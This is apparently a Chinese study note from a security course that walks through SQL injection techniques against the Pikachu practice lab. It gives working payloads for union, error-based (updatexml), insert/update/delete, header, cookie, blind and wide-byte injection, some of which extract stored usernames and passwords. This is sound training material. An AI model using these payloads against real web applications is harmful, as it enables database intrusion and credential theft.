网络安全-Day23-SQL注入(实战篇)
一、union注入
介绍:union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。
1、联合查询
v' union select username,pw from member where id=1#%2、嗅探当前表的字段个数
vi%' order by 4#% vi%' order by 3#%3、通过 “2” 可以知道数据表字段是3个,所以在select后面我们可以写3个我们想查询的数据库语句。
a'union select database(),user(),version()#%二、information_schema注入
介绍:information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。
1、首先输入 vince'union select database(),user(),3#% 判断数据库名称为pikachu
vince'union select database(),user(),3#%2、获取pikachu数据库的表名
u'union select table_schema ,table_name,3 from information_schema.tables wheretable_schema='pikachu'#3、获取pikachu数据库的字段名(我们获得了password字段)
k'union select table_name,column_name,3 from information_schema.columns wheretable_name='users'#%4、获取字段值的内容(获用名和密码)
kobe'unionselect username ,password,3 from users#%三、基于函数报错注入
介绍:在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。
前提条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。(满足前提条件的情况下才能够使用 函数报错注入)
concat()函数:含义:将多个字符串连接成一个字符串。
1、爆数据库版本信息(k' andupdatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #)
2、爆数据库当前用户(k' and updatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)#)
3、爆数据库(k' and updatexml(1,concat(0x7e,(SELECTdatabase()),0x7e),1) #)
4、爆表(k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 2,1)),1)#)
5、爆字段(k' and updatexml(1,concat(0x7e,(select password fromusers limit 0,1)),0)#)
四、insert注入
介绍:insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
1、爆表名(oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or')
2、爆破列名(' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or')
3、爆破内容(' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1'')
五、update注入
介绍:与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。
1、update注入(' or updatexml(0,concat(0x7e,(database())),0) or')
六、delete注入
介绍:一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入。
1、delete注入(or updatexml(2,concat(0x7e,(database())),0))
七、Http Header注入
介绍:先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。
1、Http Header注入(payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or ')
八、Cookie注入
介绍:Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。
1、Cookie注入(Payload 'and updatexml (1,concat(0x7e,database()),0)#)
九、Boolian(布尔型)盲注
介绍:盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。
1、通过嗅探得出数据库名称(vince' and ascii(substr(database(),1,1))=112#)
直到把数据库的全名探测出来为止
十、base on time(时间型)盲注
1、判断是否存在注入点,如果存在注入点则该界面会查询6秒(6秒是参数中设置的查询时间)(vince' and sleep(6)#)
注意:Asc码盲注不不适用于 时间型盲注。
十一、宽字节注入
简介:
当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
1、宽字节注入(kobe%df' or 1=1#)